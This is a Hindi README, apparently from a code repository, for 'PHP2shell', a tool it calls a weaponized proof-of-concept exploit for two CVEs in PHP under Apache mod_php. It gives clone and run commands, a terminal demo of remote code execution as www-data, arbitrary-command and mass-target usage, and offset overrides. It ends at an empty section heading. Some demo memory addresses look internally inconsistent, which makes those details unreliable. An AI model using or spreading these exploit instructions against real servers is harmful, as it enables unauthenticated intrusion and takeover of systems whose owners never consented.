💀 PHP2shell

CVE-2026-109618 और CVE-2026-109619 के लिए वन-क्लिक हथियारीकृत PoC

कमजोर PHP + Apache mod_php (prefork) परिनियोजनों को लक्षित करता है।

⚠️ चेतावनी: यह टूल केवल अधिकृत सुरक्षा परीक्षण, CTF और शैक्षिक अनुसंधान के लिए प्रदान किया गया है। इसका उपयोग उन अधोसंरचनाओं के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है। दुरुपयोग के लिए लेखक कोई दायित्व स्वीकार नहीं करता।

⚡ एक्सप्लॉइट

PHP2shell एक बहु-चरणीय मेमोरी करप्शन एक्सप्लॉइट है जो Apache mod_php prefork वातावरणों के भीतर PHP कोर को लक्षित करता है।

आउट-ऑफ-मेमोरी (OOM) हैंडलिंग और अनुरोध-स्वामित्व वाली स्थिति का दुरुपयोग करके जो स्थायी वर्करों में बनी रहती है, यह एक्सप्लॉइट ASLR (Address Space Layout Randomization) को बायपास करता है, आंतरिक हीप और libphp.so पॉइंटर लीक करता है, और अप्रमाणित रिमोट कोड एक्ज़ीक्यूशन (RCE) प्राप्त करने के लिए PHP संरचनाओं को नकली रूप में गढ़ता है।

🎯 समर्थित प्रोफ़ाइल

• bookworm (डिफ़ॉल्ट): Debian Bookworm पर आधिकारिक php:8.4.26-apache Docker इमेज।
• lab: कस्टम लैब बिल्ड (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12)।

🚀 त्वरित शुरुआत

सेकंडों में तैयार हो जाएँ।

1. क्लोन करें और तैयारी करें

git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py

2. फायर इन द होल

python3 php2shell.py -u http://127.0.0.1:8088/index.php

📸 टर्मिनल डेमो

$ python3 php2shell.py -u http://target.local/index.php

       .__           ________         .__           .__  .__   
______ |  |__ ______ \_____  \   _____|  |__   ____ |  | |  |  
\____ \|  |  \\____ \ /  ____/  /  ___/  |  \_/ __ \|  | |  |  
|  |_> >   Y  \  |_> >       \  \___ \|   Y  \  ___/|  |_|  |__
|   __/|___|  /   __/\_______ \/____  >___|  /\___  >____/____/
|__|        \/|__|           \/     \/     \/     \/           

                 php2shell — CVE-2026-109618 / CVE-2026-109619
                             CVSS v4.0: 9.2 Critical
                              author: 0xgh057r3c0n

[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ उन्नत उपयोग

python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'

http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local

python3 php2shell.py -t targets.txt

python3 php2shell.py -u http://target.local/index.php \
  --zif-offset 0x43A870 \
  --dtor-offset 0x613C50 \
  --htdata-offset 0x690D8

python3 php2shell.py -u http://target.local/index.php \
  -c 'id>/out/p1' \
  --proof-file '' \
  --fetch /out/p1

🧠 आक्रमण श्रृंखला का विश्लेषण